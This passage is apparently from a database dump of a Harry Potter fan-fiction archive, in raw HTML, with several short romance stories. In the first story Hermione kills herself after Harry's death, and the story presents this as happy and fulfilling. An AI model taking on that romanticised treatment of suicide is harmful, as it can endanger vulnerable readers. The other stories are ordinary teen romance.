at\nHogwarts is the friendships people make that will last their whole life.  And with these friendships we go out into the world.  The real\nworld, where friends may be the only ones who can help us.  So as you leave today, take care of yourself, and more importantly take\ncare of your friends, for they will do the same.&quot;</p>\n\n<p>At this the whole hall stood up and clapped, and a shocked Harry replaced the steady and sure one.  He smiled his infamous lopsided\ngrin and walked back to his chair, next to me.</p>\n\n<p>&quot;You are bloody brilliant!&quot; I exclaimed, softly, but loud  enough for Harry to hear over the dying applause.</p>\n\n<p>&quot;You\'ll be better,&quot; he stated.</p>\n\n<p>&quot;I doubt anyone could out do that performance!&quot;</p>\n\n<p>&quot;Thank you, thank you very much,&quot; Harry joked in an Elvis impression.  I laughed, both at the voice, and at Harry\'s impeccable timing. \nHe muttered one last assurance that I\'d do great at this, just like everything else.  He said that the hall would explode after my speech. \nDespite his meaning of applause level, he was too right on this life altering day.</p>\n\n<p>I walked up and said my speech, which was quite boring, even to me.  As everyone listened politely, I swore, in my head of course, that\nI\'d tell Harry I loved him before we left on the train tomorrow.  Little did I know that my window of opportunity was smaller than one\nwould guess.</p>\n\n<p>As I uttered my last line, of how people should remember all the good times and friendships they made, as Harry predicted, the hall DID\nexplode.</p>\n\n<p>A flash of bright light flew through the hall as an explosion blew the wall up and shattered surrounding windows.  The lights all went out\nleaving just about everyone in the dark, in more than one way.</p>\n\n<p>To my surprise, not a soul uttered &quot;Lumos&quot;.  I, and everyone else who hadn\'t already guessed, found out quickly as a raspy-but-loud,\ncold voice laughed an evil laugh.</p>\n\n<p>Voldemort.</p>\n\n<p>He turned on the lights, probably to make sure everyone could see him.  He walked over to Harry, red snake eyes gleaming, and pasty,\nwhite, shiny, bald head contrasting greatly with his darker-than-black robes.  The fabric was like an abyss as he tried to make himself\nmore menacing by pulling the dark hood over his head.</p>\n\n<p>&quot;Potter, Potter, Potter.&quot;</p>\n\n<p>&quot;Don\'t \'Potter, Potter, Potter\' me you cowardly piece of crap.  If you\'re here to kill me, let\'s duel!&quot; Harry snarled.  Boy, Harry was the\nbravest person I knew, or for that matter, would ever know.</p>\n\n<p>&quot;Oh, if only it were that easy Potter.  But no, I have to torture you first.  And you don\'t want to ruin my fun do you?&quot;</p>\n\n<p>I was beginning to wonder why no one was doing anything.  This was Harry Potter!  Who cares what the prophecy says?!  Harry will\nnever turn Dark.  Why can\'t people be more trusting?</p>\n\n<p>I was trying to think of any useful spells when I heard the Dark Lord scream, &quot;Crucio!&quot;</p>\n\n<p>I realized now that I couldn\'t move. It was as if I were glued to the chair, and it to the floor.  Seeing Harry in pain was the worst torture\nanyone could do to me.  I began to cry, as I knew that there wasn\'t anything I could do.  I felt so useless.</p>\n\n<p>Tears were running down my cheeks, as if it were a rely race, and my heart had just passed the baton to my eyes.  No wonder people\ncall the eyes the window to the soul. I finally shook myself of my shock as I witnessed Harry writhing on the ground in utmost pain.  I\nthen snapped.</p>\n\n<p>&quot;Harry!!!&quot; I screamed at the top of my lungs.  Not even tears could muffle my desperate attempt at trying to help Harry.  Unfortunately,\nI brought a bit too much attention to myself.</p>\n\n<p>Voldemort ceased the Cruciatus curse on Harry and advanced on me.</p>\n\n<p>&quot;Well, well, well.  What do we have here?  A worthless mudblood?  How disgusting!&quot;</p>\n\n<p>I finally broke off from the chair and stood up.  Anger had replaced fear, and for the first time in my life, I actually hated someone with\nall my heart.  I hated Voldemort stronger than I loved Hogwarts.  The anger washed over me, and I was pissed.</p>\n\n<p>&quot;Ooh, a mudblood,&quot; Voldemort hissed.  &quot;Want to kill me do you?  Go ahead!&quot;</p>\n\n<p>&quot;Hermione, NO!&quot; Harry screamed.  &quot; Don\'t let him fill you with hatred.  It only leads to darkness!&quot;</p>\n\n<p>I knew what Harry said was true, but it was so hard not to hate the person, if one could call him that, who had screwed up so many\nlives.  Harry could have been just a normal kid, instead of some sort of celebrity that people goggle at due to a scar.</p>\n\n<p>&quot;Care for this mudblood, do you Potter?  Too bad, she\'s about to visit the dirt she belongs with...on a one way trip.&quot;</p>\n\n<p>My fear came rushing back.  He was about to kill me?  I had barely begun to live, and I had to throw the rest of my life away?  Why? \nJust so Voldemort can prove he hates muggle-borns?  Am I just a point for someone to prove?  In that case why was I born in the first\nplace?</p>\n\n<p>&quot;Say good bye, mudblood,&quot; Voldemort whispered.  Then, &quot;Avada Kedavra!&quot; A flash of bright green light hurtled towards me, and I\nclosed my eyes.  Waiting...waiting...God, I would miss Harry...Waiting...I don\'t know what I would have done without him...Waiting...I\nlove Harry Potter...Waiting...Nothing.  Not nothing in a blank, dead way, but nothing as in I was alive.</p>\n\n<p>I opened one, then both eyes.  Yes, I was alive.  But why?</p>\n\n<p>The answer was right in front of my eyes, literally.  Harry.  I immediately felt my heart sink lower than low.</p>\n\n<p>&quot;Why Harry?&quot; I demanded of the person who gave up their life to shield me.</p>\n\n<p>&quot;Because...Herm-I-on-e...I...love...you...&quot;</p>\n\n<p>Harry\'s last words touched my heart and gave me more tears than I thought humanly possible.</p>\n\n<p>&quot;I love you too, Harry,&quot; I whispered, but I was too late.  Harry would never know that the person he gave up his life for loved him back.</p>\n\n<p>&quot;Why Harry?  I\'m not worth it!&quot; I sobbed.  He had never been truly kissed.  He always said that he\'d wait for the one he loved.  A kiss\non the cheek for everyone else, or, at most, a quick peck on the lips.  But never an all out kiss that\'s really a promise of love.  Never in\nlove with anyone else.  He had waited for me, and I was too late.</p>\n\n<p>&quot;Oh Harry!&quot;</p>\n\n<p>I closed in and kissed him.  The tears streaming down my face no longer mattered as I felt the love of my life slipping away into\noblivion.  I poured my heart and soul into that kiss, hoping somehow that the kiss would bring him back to life.  But no such luck. \nWithout him my life meant nothing.  It was also my first kiss, and it meant more to me than life itself.  I cannot live without Harry.  Not\nonly would I miss him with all my heart, but every day I\'d remember that it\'s my fault he\'s dead.  &quot;The great Harry Potter sacrifices\nhimself for one of his best friends&quot;.</p>\n\n<p>&quot;No!  Not Harry!&quot; I cried.  &quot;No!  Take me instead!  I\'d gladly die for him!  Please, just not Harry!&quot;</p>\n\n<p>My tears flew freely as I realized the only way to join Harry was in death, and I had every intention to do so.  But I refused to let Harry\'s\nsacrifice be in vain, as I realized the true power of love.  Love can overcome all obstacles.</p>\n\n<p>I looked at Voldemort.  One glance and I knew I had Harry\'s power.  His love fought against Voldemort just like his mother\'s had.  The\npower surged through me as I did both one of the best and worst things I had ever done in my life.  I faced Voldemort and whispered.</p>\n\n<p>&quot;Avada Kedavra.&quot;</p>\n\n<p>He fell lifelessly to the floor as I knew both Harry and I had killed Voldemort.  Despite breaking the law, I had saved lives, and was\nready to give up my own life to join Harry.</p>\n\n<p>God, did I love him more than anything.</p>\n\n<p>I, like Voldemort and Harry, had the last words I ever heard uttered to me in a whisper.  Except for me, it was my own voice.</p>\n\n<p>&quot;Avada Kedavra,&quot; I whispered to myself as I joined Harry for eternity, happy, fulfilled, and totally ready.</p>\n\n<p>~*~</p>\n\n<br wp="BR1"><br wp="BR2">\n<p>~*~ smileygirlo3 ~*~</p>\n\n\n\n'),
	(3, 1, '\n\n\n\n<p>~A Shoulder to Cry On~</p>\n\n<p>~</p>\n\n<p>From Hermione\'s POV</p>\n\n<p>H/H</p>\n\n<p>~</p>\n\n<p>My eyes fluttered open only to glimpse at the dark shadow of the empty dorms.  The holidays had brought upon my empty room.  The\nloneliness only mocked my uneasy soul.  </p>\n\n<p>My eyes shifted around and I slowly rose out of my warm bed.  I got up, knowing that once I was awakened, sleep was a thing of the\npast.  I gazed out my window up at the stars and heavens above and shuddered.</p>\n\n<p>Something is not right. </p>\n\n<p>I swiftly threw on robes over my pyjamas and hurried out of my dorm room and down the spiral staircase.  I must get to Dumbledore.\nMy feelings and premonitions have been right too many times.  My feet drove themselves as my mind wandered and panicked.  I started\nto run, picking up my pace until I flew towards the central turret where Dumbledore resided.  </p>\n\n<p>I wasn\'t sure why, but by the time I reached the gargoyle, whispered the password (not able to speak in anything more), and rushed up\nthe steps to meet the Headmaster, I was already crying.  Rivers of burning hot tears flowed down my face so freely it was as if they were\nmerely shadows of light, dancing upon my features.  I reached the door, threw it open, and found that he was waiting for me.  One look,\nand I knew my tears had reason.  He handed me a letter tied shut with a black ribbon.  I opened it unnecessarily and read what I had\nalways feared.</p>\n\n<p>My parents were dead.</p>\n\n<p>My tears splattered the parchment and smeared the cursed writing.  I stopped reading, and glanced at Dumbledore.  It was too much,\nand my gaze was shattered after a few moments.  I could not handle those intense blue eyes.  I rushed out of the room.  I ran through\nthe halls back towards the common room, trying to outrun my parents\' death.  I could no longer see where I was going because my\nvision was far to blurry.  I pushed on faster as a soul shattering thought attacked my mind.</p>\n\n<p>I am all alone.</p>\n\n<p>I cannot outrun my problems any more than I can outrun my shadow. </p>\n\n<p>I whispered the password to the Fat lady and stumbled blindly into the common room.  There I collapsed unto first my knees, then knelt\nover, racking with sobs.  My acidic tears only mocked my pain.  I felt frozen; as if someone had ripped out my soul.  I felt a hand upon\nmy back, and I looked up into startling green emerald eyes. </p>\n\n<p>Oh Harry.</p>\n\n<p>I rose with his assistance and fell into his arms.  I unleashed my tears into his shoulder and he held me close and let his warmth spread\nthrough me.  He didn\'t need to ask a thing, as he had seen the crumpled parchment; ribbon protruding like an ebony serpent.  The\nserpent of death. </p>\n\n<p>&quot;Hermione.&quot;</p>\n\n<p>His words spoke a story, winding through a forest of emotions.  </p>\n\n<p>He pushed my hair behind my ears, and raised my chin so he could stare into my eyes.  He gave a comforting smile, then lent in for a\nkiss.  My emotions skyrocketed as my shock receded as my sadness transformed into warmth.  The infamous fairy-tale fireworks set off\nand I succumbed, lost in the passionate connection. I felt so safe and happy and warm.  Like everything was going to be okay.</p>\n\n<p>I was wrong.  I am not alone.  I have Harry.</p>\n\n<p>~*~<br>\n<br>\n</p>\n\n<p>~*~smileygirlo3~*~</p>\n\n\n\n'),
	(4, 1, '\n\n\n\n<p>Everlasting Twilight Rain<br>\n<br>\n</p>\n\n<p>Lily sighed as she stared out her dorm room window.  Her roommates were sound asleep, but Lily couldn\'t drift away to the land of slumber.  So she had sat at\nher window thinking and staring at the glorious masterpiece of the outside.  The pearly white stars winked back at her from the velvety depths of the endless sky.\nThe full moon tried to shine brightly out from behind the curtains of clouds that guarded it from the world below.  The Forbidden Forest loomed in the distance\nwith its leafy soldiers standing guard.  The shimmering lake was every shade of blue, purple and black as it reflected the moon like an unsteady mirror.  Its gentle\nwaves were pushed by the equally gentle wind that hinted a strong, steady rainstorm.</p>\n\n<p>Lily loved everything about the rain.  Its smell, its feel, its entrance and exit - the beginning and end to a unique performance every time.  The feeling it conveyed\nmade Lily feel like a completely different person.</p>\n\n<p>The outside suggestions of rain were too much for Lily to pass up.  She knew and felt she must let this rain wash all her worries away.  Everything that had\nhappened during the last week was almost too much for any person to handle.  The death of her parents (Courtesy of Lord Voldemort) shook her very existence,\nand her sisters ever increasing hatred of her scarred her soul.  And the reality shaking realization of true love had made Lily feel confused and lost. </p>\n\n<p>James Harold Potter.</p>\n\n<p>Lily had known him, Sirius, Remus, and Peter for what seemed like forever.  The five were best friends (Even if the guys sometimes left Lily out) and had spent\nthe summers together for practically their whole lives.  Although Sirius and Remus were clearly brother figures, James was something more.  Lily had realized\nthat she really and truly loved James with all her heart, and was crushed as she thought she knew that he would always think of her as only a &quot;sister&quot;.  </p>\n\n<p>She gave a final sigh and decided to go outside.  She didn\'t feel like changing from her silk green nightgown.  Sure it was short with black lace (and her mother\nsaid it made her look like a prostitute), but Lily thought it was her most comfortable sleep-wear.  She put on a soft and light-weight bath robe and brushed her\nsleek and silky straight auburn hair.  She looked down at her feet and decided to stay barefoot, and she stole a quick glance at herself from the mirror as she\nwalked out of the room.  </p>\n\n<p>Her clear green eyes sparkled as she snuck through the castle, keeping to the shadows.  She tip-toed through the corridors and hustled through the secret passage\nways that she had come to memorize from being so close to the Marauders.  She finally burst out of the castle doors and breathed in the fresh air.  Her lungs\nexpanded and she knew she was exactly where she wanted to be.</p>\n\n<p>Outside.</p>\n\n<p>She casually walked over to the lake, not caring now if anyone saw her or not.  She observed her surroundings as she strolled across the lawn.  The bright green\ngrass swayed with the increasingly strong breeze.  The sky had covered over with puffy silver clouds that warned of swiftly coming rain.</p>\n\n<p>Lily reached the shore and sighed.  She breathed in and out deeply and smiled softly as the first adventurous droplets drizzled down from above.  Lily felt like a\nnew person as she twirled in the rain.  Getting lost in the moment she closed her eyes, raised her chin, opened her mouth, stuck out her tongue, and tried to catch\nthe drops of midnight splendor.  The rain steadily beat down upon the ground and produced the earthy smell and the sound of pattering.  The sound that\nresembles hoofs of noble creatures as they ran.  The watery creatures of the night that shared the moon\'s breathtaking perpetual beauty.</p>\n\n<p>Lily stopped twirling and catching raindrops and just stood, eyes still closed, as she absorbed the feeling of the storm.</p>\n\n<p>She suddenly felt warm and she opened her eyes.  A magnificent silver stag was staring straight back at her.  She looked deep into its eyes and knew before the\ntransformation that it was James.  The stared intently at each other for what seemed an eternity then they mutually leaned in and their lips locked.  The rain\nincreased its beat, along with Lily\'s heart, as she felt more natural then she had ever felt before.  She leaned into James as he did to her and their kiss was as\nperfect as the symphony of the storm.  Passion flowed freely between them as they felt like one.  The rain beat against them overwhelming their senses as they\nknew they were meant for each other.  They knew their love was strong along with the fact that they knew they were meant for each other.  They knew they\nwanted to be with the other for all eternity.  They continued their kiss unaware of whatever else was happening in the world.  They both felt right as rain, and\nwanted the moment to last forever.</p>\n\n<p>~ (Stop here if you want)</p>\n\n<p>From about a hundred meters off Sirius, Remus, and Peter stood, each with a different expression.  Peter was dumbstruck, Sirius had a knowing smile, and\nRemus looked relieved that it had finally happened.</p>\n\n<p>&quot;Well, Wormtail, my friend,&quot; Sirius said with a smirk, &quot;I do believe you owe me ten Galleons.&quot;<br>\n<br>\n</p>\n\n<p>~Fin~<br>\n<br>\n</p>\n\n<p>~*~ smileygirlo3 ~*~</p>\n\n\n\n'),
	(5, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal"><br>\n\ndocument.write(\'\');\nDisclaimer-\neverything belongs to JK Rowling </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n(6th year- March) </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.5in;line-height:150%">Harry and Ginny\nwere approaching their 6-month anniversary, as were Hermione and Ron. They all\nhad been Boyfriend/Girlfriend for quite a while, and on weekends, you couldn&#8217;t\nsee one without the other. Hermione became Chaser on the Qudditch team, Ginny\nbecame Keeper, and Ron became Beater. However, the only reason things were like\nthis was because of certain thoughts in people&#8217;s heads&#8230;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Hermione&#8217;s\nPOV~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n(6th year beginning) </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Harry, wait up!&#8221; I called early Saturday Morning. &#8220;I&#8217;m going to try-outs\nremember? There isn&#8217;t anytime for studying!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Is this Prefect-I&#8217;m-the-top-student-in-every-class-because-I-study-when-there-is-just-thirty-seconds\nHermione Granger? You&#8217;ve been invaded by something,&#8221; Harry joked as he turned\naround and smiled that smile that made me melt whenever I saw it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Ha-ha. I&#8217;m not THAT bad!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Mudblood, if you&#8217;re trying to get on the team just because Potty&#8217;s your\nfriend, you&#8217;re in big trouble. I bet your ickle god-sister, Rosemary, will buy\nyour way on the team because everybody knows Mudbloods can&#8217;t play for shit!&#8221;\nDraco Malfoy started in on me as we passed him on his way to the library. I\ncan&#8217;t believe his crack on Rose that is so unfair! She would never in a million\nyears cheat like Malfoy&#8217;s do! She&#8217;s always taught me to be better than\nMalfoy&#8217;s, not to stoop to their level. I can to play Chaser, I&#8217;m better than my\nbrother, and he and Charlie almost played at the World Cup with Japan!</p>\n\n<p class="MsoBodyText">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I don&#8217;t recall asking YOUR opinion baka. You&#8217;ve never seen me play, and Rose\nwould NEVER do that, your just saying that because your cousin, Benjamin, has\nhad a crush on her for 15 years, and she married Charlie Weasley! As if she\nwould ever consider being with a *shudder* MALFOY,&#8221; I retorted, when Harry\ncursed him, and flew him into Mcgonagall. I&#8217;m in deep shit!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;What is going on here?&#8221; she asked, looking at us three.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Hermione and I were going to Q-tryouts, when Malfoy showed up making a remark\nthat Hermione couldn&#8217;t play for, umm,&#8221; Harry stumbled, not want to swear in\nfront of a teacher.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Spit it out, Potter,&#8221; she said.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Professor, I was just minding my own business when Mudblo-I mean Hermione and\nPot- I mean Harry came an-&#8220; Malfoy started.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Quiet, Malfoy, I did not ask you what happened!&#8221; Malfoy shut up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;He said I couldn&#8217;t play for shit, and made a crack on how I was using Harry to\nget on the team, or having Rose buy my way on the team, but I can play! I&#8217;m not\ncheating! I almost can play better than Dare! He said that because his cousin\nliked Rose, and she married Char!&#8221; Hermione said, breathlessly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;He also called Herm Mudblood&#8230; twice!&#8221; Harry added.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;I see, if I didn&#8217;t know Rose, Darien, and Charlie, all of you would have\ndetention and 10 points of each house. Because I know Rose and I know she\nwouldn&#8217;t do such a thing, so Malfoy, detention for a week, Prefect badge gone,\n50 points off Slytherin, and stripped of your Qudditch team position. Hermione,\nPotter, go on to tryouts,&#8221; Mcgonagall declared.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Harry&#8217;s\nPOV~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n(Friday before Hogsmeade weekend, later in Sept.)</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Harry?&#8221; I heard my name and turned around.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Yeah, Gin?&#8221; I asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Umm, Ron said you wanted to ask me something. He asked Hermione out, and she\nsaid yes.&#8221; Ask her something? I&#8217;ll kill Ron!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Um, yea, I did, do you want to go with me to Hogsmeade tomorrow?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Sure!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Great, see you later!&#8221; I ran to my dorm. God, I&#8217;m going to KILL Ron! He knows\nI like Hermione, oh well, Gin&#8217;s pretty too, I&#8217;ll see what happens tomorrow.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;(THE NEXT DAY err NIGHT err,\nA MONTH LATER!!!!!!!!!!)&nbsp;&nbsp;&nbsp; (Still Harry&#8217;s POV)</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHARRY POTTER&#8217;S DIARY! KEEP OUT!!!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nWell, my life is OK! Herm and Ron are a couple now, and so are Gin and I. I\nguess those feelings I had for Hermione weren&#8217;t real&#8230; so why do I feel this\nguilty feeling inside, like I&#8217;m betraying somebody? Well, off to a snogging\nsession with my girlfriend! Later!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHarry</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~(Hermione&#8217;s\nPOV!)~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n(Back to the Present aka March)</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nI wonder where Ron is? He and I were going to have a picnic together&#8230; I&#8217;ll go\nto his dorm and find him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nAs I walked upstairs, I heard these weird sounds. I walked into the dorm&#8230;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&#8220;Ron, Ron? Are you here?&#8221; I asked.\nI walked over to his bed, and screamed. RON AND LAVENDAR WERE SNOGGING LIKE\nTHERE WAS NO TOMMOROW! </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;Ron? How could you?&#8221; I screamed, and then ran out the door in tears. As I ran\nto my dorm, I heard someone yell my name. I kept running and threw myself onto\nthe bed, crying. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~(Harry&#8217;s\nPOV)~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\nHermione and Ron were late to dinner. I went up to Gryffindor to see if I could\nfind them. As I entered the common room, I saw Hermione run from the boy&#8217;s\ndorms crying. I called out her name, but she kept running. Curious to see what\nmade her cry, I went up to my dorm. I heard funny noises, and what was worse;\nthey were at Ron&#8217;s bed! I opened the curtains, and pulled Ron off Lavender. It\nwas pretty hard, they were entangled in each other&#8217;s arms, and it looked like\nthey were about to do it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\nline-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&#8220;YOU BASTARD! HOW LONG HAVE YOU BEEN HAVING AN AFFAIR WITH LAVENDER? HOW LONG\nWERE YOU GOING TO HAVE TWO GIRLS? YOU JUST MADE HERMIONE CRY GOD DAMN IT! DON&#8217;T\nTRY TO TALK, JUST STAY THE HELL AWAY FROM HER AND ME! I&#8217;M GOING TO GO SEE IF\nSHE&#8217;S OK!&#8221; I screamed at Ron. He kept opening his mouth, so I punched him and\nwent to the girl&#8217;s dorms. I figured Hermione would be in her dorm, so I went\nthere. I heard the same noises I heard in the boy&#8217;s dorms. Would Hermione cheat\non Ron?</p>\n\n<p class="MsoNormal" 